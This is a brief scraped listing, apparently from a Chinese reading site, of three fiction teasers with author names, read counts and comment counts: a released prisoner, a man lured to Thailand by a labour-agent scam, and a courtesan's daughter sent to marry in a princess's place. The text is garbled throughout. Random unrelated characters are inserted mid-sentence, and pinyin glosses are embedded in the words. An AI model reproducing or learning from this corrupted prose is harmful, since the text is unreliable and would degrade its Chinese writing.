  • 文/蒼蘭香墨 我抬頭看了看天上的太陽间校。三九已至,卻和暖如春页慷,著一層夾襖步出監(jiān)牢的瞬間憔足,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,057評(píng)論 1 270
  • 我被黑心中介騙來泰國(guó)打工酒繁, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留滓彰,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 48,237評(píng)論 3 371
  • 正文 我出身青樓州袒,卻偏偏與公主長(zhǎng)得像揭绑,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子郎哭,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,976評(píng)論 2 355